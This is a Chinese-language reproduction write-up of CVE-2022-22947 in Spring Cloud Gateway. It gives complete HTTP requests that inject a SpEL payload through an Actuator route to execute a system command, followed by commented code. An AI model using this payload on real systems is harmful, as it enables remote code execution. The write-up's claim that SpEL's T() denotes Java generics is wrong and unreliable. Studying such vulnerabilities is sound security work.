###### tags: `CVE` `xss` # [CVE-2022-22947]Spring Cloud Gateway 遠程代碼執行漏洞覆現 參考:https://blog.csdn.net/laobanjiull/article/details/123437183 ## 漏洞說明 2022年3月1日,VMware官方發布漏洞報告,在使用Spring Colud Gateway的應用程式開啟、暴露Gateway Actuator端點時,會容易造成代碼注入攻擊,攻擊者可以制造惡意請求,在遠程主機進行任意遠程執行。 ## 引響範圍 Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Gateway 3.0.x < 3.0.7 舊的、不受支持的版本也會受到影響 ## spring Cloud Gateway Actuator簡介 參考:https://juejin.cn/post/6983803935328829453 Actuator提供了一些默認的REST接口,基於這些接口我們可以很方便的了解應用程序的運行狀況。其中某些端口比較敏感,需要在指定的權限下才能進行訪問。 ![](https://i.imgur.com/xObXsDa.png) ### Actuator API 參考:https://blog.csdn.net/xgw1010/article/details/108036731 /gateway的actuator端點允許監視Spring Cloud Gateway應用程序並與之互動。要進行遠程訪問,必須在應用程序屬性中暴露HTTP或JMX 端口。 Spring Cloud Gateway添加了一個全新的、更加詳細的格式接口。它添加關於每個路由更多的詳細信息,讓你可以查看詳細的斷言、過濾器和其它配置。下面例子配置/actuator/gateway/routes: ```json= [ { "predicate": "(Hosts: [**.addrequestheader.org] && Paths: [/headers], match trailing slash: true)", "route_id": "add_request_header_test", "filters": [ "[[AddResponseHeader X-Response-Default-Foo = 'Default-Bar'], order = 1]", "[[AddRequestHeader X-Request-Foo = 'Bar'], order = 1]", "[[PrefixPath prefix = '/httpbin'], order = 2]" ], "uri": "lb://testservice", "order": 0 } ] ``` 要創建一個路由,發送POST請求 /gateway/routes/{id_route_to_create},參數為JSON結構 ```json= { "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }] ``` ## 漏洞復現 那在這邊可以看到在新增router並沒有過濾的機制,因此我們可以試著新增一個惡意的router ```json= POST /actuator/gateway/routes/timtim HTTP/1.1 Host: 0.0.0.0:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 If-None-Match: "3147526947+ident" If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT Connection: close Content-Length: 310 Content-Type: application/json { "id": "timtim", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" } ``` ![](https://i.imgur.com/fovSpBd.png) 然後我們接著刷新 ```json= POST /actuator/gateway/refresh HTTP/1.1 Host: 0.0.0.0:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 If-None-Match: "3147526947+ident" If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` ![](https://i.imgur.com/oHnmBfw.png) 最後我們在以get的方式看看我們剛輸入的timtim ```json= GET /actuator/gateway/routes/timtim HTTP/1.1 Host: 0.0.0.0:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 If-None-Match: "3147526947+ident" If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT Connection: close ``` ![](https://i.imgur.com/ML2iU7i.png) ![](https://i.imgur.com/Rwto6YF.png) ### 後續刪除動作 若是要做刪除的動作 ```json= DELETE /actuator/gateway/routes/timtim HTTP/1.1 Host: 0.0.0.0:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 If-None-Match: "3147526947+ident" If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT Connection: close ``` 然後再刷新,就可以了。 ### 重點code講解 Linux下調用系統命令 ```java= 參考:https://www.cnblogs.com/digod/p/11194880.html String [] cmd={"/bin/sh","-c","ln -s exe1 exe2"}; Process proc =Runtime.getRuntime().exec(cmd); ``` 為了把str塞進去 ```java= exec() #執行指令 #exec(str)中 不能把str完全看作命令行執行的command。 #尤其是str中不可包含重定向 ' < ' ' > ' 和管道符' | ' 。 #因此要以調用exec()的重載方法將exec()變成exec(String[] cmdarray) #也就是 exec(new String[]{\"id\"} 在變成 getRuntime().exec(new String[]{\"id\"} 參考:https://blog.csdn.net/timo1160139211/article/details/75006938 ``` 接下來是java.lang.Runtime ```java= 參考:https://blog.csdn.net/timo1160139211/article/details/75050886 將命令執行的輸入/結果或者將錯誤信息讀取出來 ``` 而T()則是T (type) 表示具體的一個java型別 ``` 參考:https://iter01.com/578027.html Java 泛型(generics)是 JDK 5 中引入的一個新特性, 泛型提供了編譯時型別安全檢測機制,該機制允許開發者在編譯時檢測到非法的型別。 T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"} ``` 最後是T(org.springframework.util.StreamUtils).copyToByteArray ```java= 參考:https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/util/StreamUtils.html 將input的東西copy成字串到再將它輸出 ``` 以上便是整段程式碼的講解。